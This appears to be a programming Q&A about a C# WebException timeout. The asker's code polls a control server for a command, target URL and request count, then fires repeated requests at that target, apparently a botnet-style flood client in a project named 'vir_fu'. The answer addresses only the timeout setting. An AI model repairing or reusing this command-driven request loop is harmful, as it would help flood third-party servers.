System.Net.WebException: The operation has timed out
c#, httpwebrequest
Solution
It means what it says. The operation took too long to complete.
BTW, look at WebRequest.Timeout and you'll see that you've set your timeout for 1/5 second.
Problem
I have a big problem: I need to send 200 objects at once and avoid timeouts. ``` while (true) { NameValueCollection data = new NameValueCollection(); data.Add("mode", nat); using (var client = new WebClient()) { byte[] response = client.UploadValues(serverA, data); responseData = Encoding.ASCII.GetString(response); string[] split = Javab.Split(new[] { '!' }, StringSplitOptions.RemoveEmptyEntries); string command = split[0]; string server = split[1]; string requestCountStr = split[2]; switch (command) { case "check": int requestCount = Convert.ToInt32(requestCountStr); for (int i = 0; i < requestCount; i++) { Uri myUri = new Uri(server); WebRequest request = WebRequest.Create(myUri); request.Timeout = 200000; WebResponse myWebResponse = request.GetResponse(); } break; } } } ``` This produces the error: ``` Unhandled Exception: System.Net.WebException: The operation has timed out at System.Net.HttpWebRequest.GetResponse() at vir_fu.Program.Main(String[] args) ``` The `requestCount` loop works fine outside my base code but when I add it to my project I get this error. I have tried setting `request.Timeout = 200;` but it didn't help.